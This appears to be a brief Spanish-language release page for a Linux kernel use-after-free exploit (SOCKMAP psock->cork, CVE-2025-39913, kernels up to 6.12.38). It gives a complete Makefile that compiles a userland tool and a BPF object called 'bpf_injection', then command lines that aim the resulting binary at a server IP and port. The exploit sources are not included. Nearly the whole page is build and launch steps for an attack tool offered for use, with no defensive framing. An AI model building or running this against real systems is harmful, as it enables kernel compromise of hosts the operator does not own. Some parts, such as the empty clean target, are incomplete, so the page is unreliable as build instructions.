
UAF in linux kernel ≤ 6.12.38 (psock->cork)
Autor: Byte Reaper
Mi plataforma : https://www.bytrep.com/
Afecta a versiones del kernel de Linux ≤ 6.12.38 con soporte SOCKMAP.
Kernel ≤ 6.12.38
Linux x86_64
GCC
1 - Crear Makefile :
# touch Makefile
2 - Pegar el contenido en el Makefile :
TARGET := CVE-2025-39913
KERNEL_PATH := /usr/src/linux-headers-$(shell uname -r)
BPF_OBJ := bpf_injection.o
USER_SRCS := main.c load_bpf.c check_bpfELf.c pingCheck.c com_c.c exit_asm.c sockmap_link.c check_elf.c result.c argparse.c
USER_OBJS := $(USER_SRCS:.c=.o)
ALL_OBJS := $(USER_OBJS) $(BPF_OBJ)
LIBS := -l:libbpf.a -lrt -lelf -lz
$(TARGET): $(ALL_OBJS)
gcc $(USER_OBJS) -o $@ $(LIBS)
%.o: %.c
gcc -c $< -o $@
$(BPF_OBJ): bpf_injection.c
clang -O2 -target bpf -c $< -o $@ \
-nostdinc \
-I/usr/lib/clang/19/include \
-I$(KERNEL_PATH)/arch/x86/include \
-I$(KERNEL_PATH)/arch/x86/include/generated \
-I$(KERNEL_PATH)/include \
-I$(KERNEL_PATH)/include/uapi \
-I$(KERNEL_PATH)/include/generated/uapi \
-I$(KERNEL_PATH)/include/asm-generic \
-I/usr/include
clean:
1 - Dirección IP :
# ./CVE-2025-39913 -i [server-ip]
2 - puerto de destino (por defecto : 80) :
# ./CVE-2025-39913 -i [server-ip] -p [PORT]
3 - ARG completo :
# ./CVE-2025-39913 -h
4 - Comprobar archivo Obj BPF :
# ./CVE-2025-39913 -i [server-ip] -p [PORT] -o
5 - Comprobar el rastreo de depuración :
# ./CVE-2025-39913 -i [server-ip] -p [PORT] -c
MIT